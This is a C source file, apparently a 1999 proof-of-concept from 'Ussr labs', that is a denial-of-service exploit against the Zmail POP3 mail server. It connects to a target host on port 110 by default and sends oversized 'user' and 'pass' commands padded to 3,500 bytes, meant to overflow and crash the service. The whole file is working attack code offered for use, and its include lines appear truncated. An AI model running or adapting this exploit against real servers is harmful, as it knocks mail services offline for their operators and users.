/* * Copyright (c) 1999 Ussr S.A. * All rights reserved * http://www.ussrback.com */ #include #include #include #include #include #include #include #include char dos_code[3500]; char buffy[256]; char *host; int ip, port, sockfd; struct sockaddr_in servaddr; struct hostent *phost; int main(int argc, char **argv) { if(argc < 2) { printf("Example DOS code for Zmail by Ussr labs.\n\n"); printf("Usage: %s hostname port (default 110)\n", argv[0]); return(0); } if(argc == 2) { port = 110; } else { sscanf(argv[2], "%hd", (char *)&port); } printf("Example DOS code for Zmail by Ussr labs.\n\n"); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error in socket funtion\n\n"); return(0); } bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(port); host = argv[1]; if(phost = gethostbyname(host)) { bcopy(phost->h_addr, (char *)&ip, sizeof(u_long)); } else if((ip = inet_addr(host)) == -1) { printf("ERROR! Cant resolve: %s \n\n", argv[1]); return(0); } servaddr.sin_addr.s_addr = ip; if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) { printf("ERROR! Cant connect to: %s port %d\n\n", argv[1], port); return(0); } memset(buffy, 0, sizeof(buffy)); recv(sockfd, &buffy, sizeof(buffy), 0); printf("%s",buffy); memset(dos_code, 0x61, sizeof(dos_code)); dos_code[3498] = '\r'; dos_code[3499] = '\n'; memcpy(&dos_code[0], "user ", strlen("user ")); send(sockfd, dos_code, sizeof(dos_code), 0); memset(buffy, 0, sizeof(buffy)); recv(sockfd, &buffy, sizeof(buffy), 0); printf("%s",buffy); memcpy(&dos_code[0], "pass ", strlen("pass ")); send(sockfd, dos_code, sizeof(dos_code), 0); printf("DOS code are send OK!..\n"); close(sockfd); return(0); }